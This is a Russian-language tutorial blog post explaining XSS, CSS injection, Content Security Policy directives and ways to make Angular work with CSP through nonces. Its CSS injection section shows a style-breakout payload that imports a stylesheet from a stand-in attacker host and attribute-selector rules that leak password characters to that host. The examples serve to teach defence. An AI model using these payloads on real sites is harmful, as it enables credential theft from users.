Я продолжаю писать статьи по темам, с которыми очень долго разбираюсь в силу определённых обстоятельств. В этот раз я по кусочкам собрал огромный пазл, в котором участвуют и браузер, и фреймворк воедино и хочу разложить эти знания по полочкам, разжевать максимально подробно. Опять же пишу для себя, чтобы, когда всё забудется, а это непременно случится, вернуться сюда и быстро всё вспомнить и если эта статья кому-то поможет - это просто прекрасно. Дополняющим, уточняющим, при этом подробным и понятным комментариям и замечаниям буду только рад

План:


Что такое XSS (Cross-Site Scripting) в общих чертах

Начнём с фундаментов проблемы. Есть такая веб уязвимость XSS (Cross-Site Scripting). Я не буду совсем подробно писать про всевозможные варианты осуществления этой атаки (а XSS это и уязвимость, и вид атаки на веб приложение), опишу вершину айсберга для понимания нашей темы. В общих чертах XSS это внедрение вредоносного кода на HTML-страницу, которую открывает другой пользователь, разными способами.

Расскажу о самом понятном случае (stored XSS): представьте, что у нас есть сайт-форум, он никак не защищён для простоты и какой-то особо одарённый шутник, назовём его "Хакер", вместо текста сообщения вписал в чат <script>ВРЕДОНОСНЫЙ КОД</script>, отправил своё сообщение на сервер, оно сохранилось в БД, затем другой пользователь "Жертва" на этом форуме заходит на эту же страницу и браузер подгружает все сообщения на ней. Что произойдёт, когда браузер дойдёт до сообщения от "Хакера"? Для этого нужно понять откуда у нас вообще появляется страница сайта.

Зайдите на сайт npm, нажмите F12, зайдите во вкладку Network, в фильтрах поставьте "All", чтобы видеть все запросы. Нажмите на самый первый запрос и вы увидите получение читаемой вами страницы. Что в нём особенного? Почему это браузер решил обработать этот ответ на этот запрос именно парсингом и отрисовкой страницы?

В разделе Response headers вы увидите вот такой заголовок,

Content-Type: text/html

который вам прислали с сервера. Я не буду сейчас подробно расписывать какие значения может принимать заголовок Content-Type, это опять же отдельная тема для изучения (бесконечная и вечно забывающаяся). В нашем случае нам важно именно это значение text/html. Именно благодаря этому значению браузер начинает парсить полученный ответ как HTML и пользователь видит страницу сайта. Там целый механизм парсинга, тоже для отдельного изучения, опять же, важен тот факт, что этот процесс означает, что браузер, натыкаясь на теги, соответствующе их обрабатывает и, в нашем случае, когда наткнётся на тэг <script>ВРЕДОНОСНЫЙ КОД</script> просто выполнит его в контексте страницы. А в этом вредоносном коде может быть самая разнообразная пакость. Это и есть один из большого и разнообразного множества типов XSS атак.


Что такое CSS Injection в общих чертах

Другая уязвимость, которую нам важно знать, — это CSS Injection. Опять же, в общих чертах это внедрение вредоносного CSS, отображающегося в браузере у "Жертвы".

Опять же, один из множества примеров, тут чуть сложнее, но погружаться в тонкости не будем: допустим у нас есть приложение, в котором пользователь может менять тему динамически. Приложение получает цвет через URL параметр, например, он может выглядеть вот так someurl.ru?color=yellow, затем, например, создаёт динамически тег <style> и вставляет его в документ таким образом

document.write('<style>body { background-color: ' + color + ' }</style>')

"Хакер" вводит в URL параметр color=random и видит в DevTools -> Elements это самое значение в новосозданном теге:

<style>
  body {
    background-color: random;
  }
</style>

Оп-па, можно внедрить туда что-то вредоносное. Кладёт туда, например, @import url(https://hackersite.eu/hacker.css);. Но в таком случае стиль получится таким

<style>
  body {
    background-color: @import url(https://hackersite.com/hacker.css);
  }
</style>

и не выполнится, ведь @import невалиден внутри других CSS-правил. Поэтому он пишет код таким образом, чтобы получилось

body {
  background-color: red; } @import url(https://hackersite.com/hacker.css); body { background-color: red
}

Когда «Жертва» получает ссылку с этим параметром (например, в письме) и открывает её, браузер начинает парсить страницу, JavaScript приложения динамически создаёт тег <style>, вставляя туда значение из URL. В этот момент браузер обнаруживает @import и отправляет запрос на сервер Хакера за внешним CSS-файлом.

В этом файле со стилями "Хакер" может использовать технику, известную как CSS Exfiltration (кража данных через CSS). Сам по себе CSS не умеет «читать» ввод с клавиатуры, но он умеет применять стили на основе атрибутов элементов. "Хакер" прописывает правила, которые проверяют содержимое, например, поля логина или скрытого поля с паролем:

input[value^="a"] { background: url(https://hackersite.com/leak?char=a); }
input[value^="b"] { background: url(https://hackersite.com/leak?char=b); }
/* ... все 62 варианта для первого символа ... */
input[value^="aa"] { background: url(https://hackersite.com/leak?char=aa); }
input[value^="ab"] { background: url(https://hackersite.com/leak?char=ab); }
/* ... все 62×62 вариантов для двух символов ... */

Когда браузер жертвы отрисовывает страницу, он проверяет совпадения: если в поле ввода (или в атрибуте value, куда браузер автоматически вставил сохранённый пароль) есть символ "а", браузер попытается загрузить картинку по указанному URL. Этот запрос уходит на сервер хакера, и тот посимвольно собирает (подбирает) важные данные — например, пароль или токен. Также этот подход отлично сработает при автоматическом заполнении форм, ведь браузер вставляет сохранённый пароль именно в атрибут value.

Есть и другие способы подобной атаки, но для общего понимания хватит и этого примера.


Что такое CSP (Content Security Policy)

CSP это один из защитников от таких атак.

Общими словами

CSP — это свод правил для браузера, диктующие ему можно ли выполнять или загружать ресурсы (скрипты, стили, картинки, шрифты и т.д.) во время парсинга документа или при динамической загрузке. Например, есть в HTML документе <script>КОД</script>. Можно выполнить содержимое или загрузить из src или нет браузер решит исходя из этого свода правил и так по всем ресурсам. Каждый раз, получая новые ресурсы или при динамической их загрузке, когда JS создаёт теги <script> или <style>, браузер будет действовать согласно этим правилам. Если CSP настроен слишком строго или с ошибками, приложение может вообще ничего не загрузить. А если не настроен вовсе — приложение будет уязвимо.

На практике

Если в приложении настроен CSP (а на сайте npm он настроен, можете посмотреть там), то вам должен прийти заголовок Content-Security-Policy в этом же запросе на получение HTML, найдите его в Response Headers.

У этого заголовка есть несколько ключей со значениями, описанными ниже. Что обязательно посмотреть и запомнить:

  1. Ключи (их называют "директивами")

    1. script-src

    2. style-src

    3. default-src

  2. Значения (их называют "источниками")

    1. 'unsafe-inline'

    2. nonce-<значение>

остальное добавлено, потому что я перфекционист и для общего развития

Все ключи и их значения заголовка CSP
script-src - выполнение и загрузка скриптов

'none' — запретить все скрипты

'self' — скрипты только со своего домена

<домен> — разрешить скрипты с конкретного домена

'unsafe-inline' — разрешить inline-скрипты и обработчики (onclick, onerror)

'nonce-<значение>' — разрешить только теги <script> с этим nonce

'<hash>' — разрешить скрипт с этим хешем содержимого

'unsafe-eval' — разрешить eval(), new Function(), setTimeout('строка')

'strict-dynamic' — доверять скриптам, загруженным доверенным скриптом

style-src - выполнение и загрузка стилей

'none' — запретить все стили

'self' — стили только со своего домена

<домен> — разрешить стили с конкретного домена

'unsafe-inline' — разрешить <style> и атрибуты style=""

'nonce-<значение>' — разрешить только теги <style> с этим nonce

'<hash>' — разрешить стиль с этим хешем

img-src - откуда загружать картинки

'none' — запретить картинки

'self' — картинки только со своего домена

<домен> — разрешить картинки с конкретного домена

data: — разрешить data-URI (небезопасно)

connect-src - куда можно делать fetch, XHR, WebSocket, EventSource

'none' — запретить все запросы

'self' — запросы только на свой origin

<домен> — разрешить запросы на конкретный домен; 

wss: — разрешить WebSocket

font-src - откуда загружать шрифты (@font-face)

'none' — запретить шрифты

'self' — шрифты только со своего домена

<домен> — разрешить шрифты с конкретного домена

frame-src - какие URL можно встраивать в <iframe>

'none' — запретить встраивание

'self' — встраивать только свой origin

<домен> — разрешить встраивание с конкретного домена

media-src - откуда загружать аудио и видео

'none' — запретить медиа

'self' — медиа только со своего домена

<домен> — разрешить медиа с конкретного домена

object-src - откуда загружать плагины (<object>, <embed>)

'none' — запретить плагины (рекомендуется)

'self' — плагины только со своего домена

<домен> — разрешить плагины с конкретного домена

base-uri - какой <base href> можно использовать

'none' — запретить <base>

'self' — разрешить <base> только на свой origin

<домен> — разрешить <base> на конкретный домен

form-action - куда можно отправлять формы

 'none' — запретить отправку форм

'self' — формы только на свой origin

 <домен> — разрешить отправку на конкретный домен

frame-ancestors - кто может встраивать страницу текущего приложения в <iframe>

'none' — запретить встраивание

'self' — разрешить встраивание только своему сайту

<домен> — разрешить встраивание конкретному домену

sandbox - изоляция страницы по правилам <iframe sandbox>

allow-scripts — разрешить скрипты

allow-forms — разрешить формы

allow-popups — разрешить попапы

без значения-разрешения — блокировать соответствующую возможность

upgrade-insecure-requests - автоматически менять http:// на https://

Значений не принимает — просто указывается имя директивы

report-uri / report-to - Куда отправлять отчёты о нарушениях CSP

<URL> — отправлять отчёты на этот URL

<имя_группы> — отправлять в группу изReporting-Endpoints

default-src - резервная директива для всех fetch-директив

Смысл в том, что если у вас не указаны fetch директивы, те, что загружают какие-либо ресурсы, например script-src или img-src, то значения для них будет браться из этого ключа

 'none' — запретить всё по умолчанию

'self' — разрешить только свой origin по умолчанию

<домен> — разрешить конкретный домен по умолчанию

И, небольшой, простенький пример, просто для понимания работы этих правил. Возьмём script-src, установим ему значение 'self' . Теперь на странице будут выполняться только скрипты с текущего origin. Вот такой <script src="/js/app.js"></script> выполнится, а такой <script src="https://somesite.com/lib.js"></script> уже нет, ведь он с другого домена.


Inline-код и 'unsafe-inline'

Для понимания темы данной статьи нужно знать что такое inline-код. Я выделил это в отдельный заголовок, хотя тут немного рассказывать.

Inline-код это размещение скриптов и стилей прямо в HTML. Например

<!DOCTYPE html>
<html>
  <head>
    <title>Пример инлайн кода</title>
  
    <!-- Это инлайн стиль -->
    <style>
      body {
        background: #f0f0f0;
        font-family: sans-serif;
      }
      h1 {
        color: darkblue;
      }
    </style>
  </head>
  <body>
    <p style="color: red;">Это инлайн-атрибут</p>
  
    <button onclick="alert('Щёлк')">Это инлайн обработчик</button>
  
    <!-- Это инлайн скрипт -->
    <script>
      console.log('Это inline-скрипт выполнился');
    </script>
  
  </body>
</html>

Возможно, вы заметили, что одно из значений, которые принимают script-src и style-src это 'unsafe-inline'. При подобной настройке мы разрешаем подобный инлайн-код, что открывает огромную дыру в безопасности приложения и XSS атака будет успешной. Пример подобной атаки я привёл выше, это тот самый <script>ВРЕДОНОСНЫЙ КОД</script> , являющийся-инлайн скриптом. Браузер его выполнит если CSP не настроен или если CSP будет настроен в классическом стиле

Content-Security-Policy: script-src 'self' 'unsafe-inline';

А что такое nonce-<значение>?

Устанавливая значение для ключей nonce-<значение>, где <значение> это закодированная в Base64 строка, мы разрешаем браузеру выполнять только те скрипты и стили, у которых стоит этот атрибут. Для примера выглядит он так:

<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
    ТУТ КАКОЙ-ТО КОД
</script>

Кстати, <значение> должно быть уникальным при каждом запросе и генерироваться на сервере, иначе смысл в нём совсем пропадает, ведь если nonce будет одинаковым (статичным), "Хакер" сможет его подсмотреть и использовать в своём внедрённом скрипте, защита перестанет работать.


Конфликт Angular и CSP

ДЕСЕРТИК!

Наконец, для чего писалось всё вышесказанное. Первое, что нужно сказать: XSS-атака в чистом Angular невозможна, даже без настроек CSP, ведь наш любимый фреймворк по умолчанию экранирует все интерполированные значения, превращая их в текст, и использует встроенный санитайзер для случаев, когда HTML вставляется принудительно, например, через [innerHTML], вычищая из него теги <script>, обработчики onclick и прочее. В нашем примере с форумом, если приложение написано с помощью Angular, строчка <script>ВРЕДОНОСНЫЙ КОД</script> будет интерпретирована как строка, а не как тег с содержимым. Таким образом, веб-приложение прекрасно защищено, если только разработчик сам не нарушает настройки безопасности путём использования некоторых методов DomSanitizer, таких как

  • bypassSecurityTrustHtml

  • bypassSecurityTrustStyle

  • bypassSecurityTrustScript

  • bypassSecurityTrustUrl

  • bypassSecurityTrustResourceUrl

которые отключат защиту.

Но вот мы с вами настроили CSP, а его стоит настраивать даже в случае с использованием Angular, ведь дыры в безопасности приложения всё равно могут быть (использование сторонних библиотек, дыры в самом фреймворке), например, вот так

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'

и у нашего приложения полетели все стили. Всё потому, что Angular под капотом активно создаёт и вставляет инлайн-стили прямо в DOM. Браузер видит эти теги <style> без nonce, CSP их блокирует — и приложение остаётся без оформления. Именно по этой причине возникает конфликт CSP и работы Angular-приложения.


Как подружить Angular и CSP

Дыры в безопасности постоянно латаются, а новые атаки продолжают появляться, это процесс постоянный. Но вот основные способы подружить CSP и Angular:

unsafe-inline

Максимально топорный способ, конечно, — присвоить значение unsafe-inline для style-src и пробить дыру в безопасности, ведь CSP для инлайн стилей этим действием просто отключается и приложение становится уязвимым к CSS Injection. Это компромиссный способ, который используется в приложениях. Чтобы сделать эту дыру чуть меньше - нужно:

  1. Не использовать bypassSecurityTrust***, ведь это правило отключает фильтр вставляемого кода

  2. Проставить строгие значения для ключей script-src, img-src , font-src и connect-src, это резко сузит уязвимость

Уязвимость в любом случае будет существовать, но не такая сильная. Как я уже сказал, это компромисс.

Использование nonce

Это самый правильный и достаточно надёжный способ, для которого нужен сервер. В Angular есть два пути использования этого способа:

  1. ngCspNonce атрибут для тега <app-root>

    Если у вас используется веб-сервер, например, nginx, то можно проставить атрибут ngCspNonce на ваш app-root

    <app-root ngCspNonce="__CSP_NONCE__"></app-root>

    и напрягайте своих девопсеров, пусть они настроят его для генераций случайных nonce значений, которое будет вставляться с помощью модуля sub_filter в плейсхолдер при каждом новом входе в приложение и получении index.html. А потом Angular всё сделает за вас, так как в него встроен функционал вставки этого значения в атрибуты динамически встроенных <style> и <script>

    Если вы используете SSR - можно проставлять его там, но лучше использовать способ с CSP_NONCE токеном, который описан в пункте 2. Это не даст столкнуться с потенциальными проблемами и Angular официально рекомендует его.

    Тонкости использования ngCspNonce

    1. PWA. Подробно останавливаться на этом пункте не будем — для понимания достаточно одного нюанса. Использовать nonce-<значение> вместе с Angular Service Worker не получится. При сборке Angular CLI записывает хеш index.html в манифест ngsw.json. Когда Service Worker устанавливается или проверяет обновления, он скачивает index.html по сети и сравнивает его хеш с тем, что записан в манифесте. Но Nginx подставляет новый nonce при каждой загрузке index.html, поэтому содержимое файла (а значит, и его хеш) не совпадает с зафиксированным при сборке. Service Worker обнаруживает несовпадение и отказывается кэшировать index.html — при переходе в офлайн ему просто нечего отдать.

      Обойти это можно, запретив кэширование index.html на уровне Nginx и исключив его из ngsw-config.json (конфигурационный файл PWA). Но тогда приложение не сможет обеспечить полную офлайн-загрузку — index.html не будет доступен без сети. Если тема PWA вам незнакома, рекомендую изучить её отдельно.

    2. Если для index.html включён gzip_static, Nginx отдаст заранее сжатый index.html.gz, сжатый на этапе сборки, а модуль sub_filter, который подставляет nonce, не может заглянуть внутрь сжатого файла, поэтому замена плейсхолдера __CSP_NONCE__ не происходит вообще.

      Единственное решение - отключить gzip_static для index.html и включить gzip on, чтобы сжатие происходило в nginx перед отправкой index.html

    3. Сторонние библиотеки не получают атрибут ngCspNonce, <style> и <script> будут заблокированы политикой

      Решение: проверить поддерживает ли библиотека передачу nonce, либо использовать костыли (как же без них), средствами angular или javascript проставлять атрибуты nonce вручную, например так

      this.renderer.setAttribute(script, 'nonce', 'ваше-значение-nonce');
  2. CSP_NONCE токен

    Помимо атрибута ngCspNonce, Angular предоставляет DI-токен CSP_NONCE

    providers: [{ provide: CSP_NONCE, useValue: nonce }]

    В архитектуре со статическим index.html и Nginx этот способ не имеет смысла, ведь веб-сервер просто не может создать провайдер в коде. Он пригодится в приложениях, использующих SSR или когда nonce передаётся клиенту через Cookie/API — но это отдельная тема, выходящая за рамки данной главы

    Тонкости использования CSP_NONCE

    1. Если вы по какой-то причине используете одновременно и ngCspNonce и CSP_NONCE, то токен имеет приоритет перед атрибутом и его значение будет перекрывать атрибутное

    2. Angular в продакшн сборке, при включённом параметре inlineCritical: true, вставляет на этапе сборки так называемый "критический CSS", минимальный необходимый набор стилей. Это нужно затем, что CSS является блокирующим фактором для отрисовки страницы: пока браузер не загрузит CSSOM мы будем видеть белый экран. Angular решает эту проблему путём асинхронной загрузки побочных стилей, при этом быстро отрисовывая начальную страницу. Проблема только в том, что критический CSS встраивается в index.html на этапе сборки, когда значения CSP_NONCE ещё не существует (оно появляется только в рантайме, при каждом запросе). Поэтому этот CSS остаётся без nonce и блокируется политикой безопасности.

      Единственное решение - отключить этот параметр в angular.json (inlineCritical: false). Здесь мы немного теряем в производительности, но без компромиссов не обойтись.

    3. CSP_NONCE не обновляется после старта приложения: его получают один раз и работают с ним

    4. При использовании SSR CSP_NONCE имеет смысл только для страниц, которые рендерятся на сервере при каждом запросе (режим RenderMode.Server). Для пререндеренных страниц (режимRenderMode.Prerender) HTML генерируется на этапе сборки, поэтому сгенерировать уникальный nonce под каждый запрос в этом случае невозможно

Заключение

Надеюсь, статья получилось интересной, полезной и, самое главное, понятной

Комментарии (0)